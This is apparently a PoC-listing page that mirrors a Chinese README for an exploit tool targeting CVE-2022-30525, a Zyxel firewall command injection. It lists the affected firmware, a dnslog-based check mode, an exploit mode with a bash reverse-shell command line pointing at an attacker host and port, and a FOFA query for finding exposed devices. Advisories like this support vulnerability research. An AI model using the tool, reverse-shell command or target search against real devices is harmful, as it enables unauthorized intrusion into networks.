CVE-2022-30525 PoC — 合勤科技 USG FLEX 操作系统命令注入漏洞

Source

https://github.com/west9b/CVE-2022-30525

Associated Vulnerability

Title: 合勤科技 USG FLEX 操作系统命令注入漏洞 (CVE-2022-30525)
Description:A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.

Description

CVE-2022-30525 Zyxel 防火墙命令注入漏洞 POC&EXPC

Readme

# CVE-2022-30525 Zyxel 防火墙命令注入漏洞

CVE-2022-30525 POC&EXP  

author:160team.west9B

**仅限用于安全研究人员在授权的情况下使用，遵守网络安全法，产生任何问题，后果自负，与作者无关。**

# 01-基本介绍
2022 年 5 月 12 日，Zyxel（合勤）发布安全公告，修复了其防火墙设备中未经身份验证的远程命令注入漏洞（CVE-2022-30525），该漏洞的CVSS评分为9.8。该漏洞存在于某些Zyxel防火墙版本的 CGI 程序中，允许在未经身份验证的情况下在受影响设备上执行任意命令。

影响范围:

ATP系列固件：5.10-5.21 Patch 1

VPN系列固件：4.60-5.21 Patch 1

USG FLEX 100(W)、200、500、700：5.00-5.21 Patch 1

USG FLEX 50(W)/USG20(W)-VPN：5.10-5.21 Patch 1

# 02-使用说明

## usage_poc: ./cve-2022-30525 -m poc -u url

## usage_exp: ./cve-2022-30525 -m exp -u url -lhost ip -lport port



### 1. POC

此漏洞命令执行没有回显，所以POC验证请求dnslog API，dnslog有请求则漏洞存在，防止网络延迟产生误报，DNSLOG验证请求延迟10秒。

**usage_poc: ./cve-2022-30525 -m poc -u https://192.168.1.1/**

### 2. exp

exp bash反弹，-m exp 后指定vps ip 端口

**usage_exp：./cve-2022-30525 -m exp -u https://192.168.1.1/ -lhost 192.168.1.2  -lport 1337 **

# Screenshots
![Image text](https://github.com/west9b/CVE-2022-30525/blob/main/poc.png)
![Image text](https://github.com/west9b/CVE-2022-30525/blob/main/exp.png)
# refer
https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/

# fofa
title="USG FLEX xx"

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →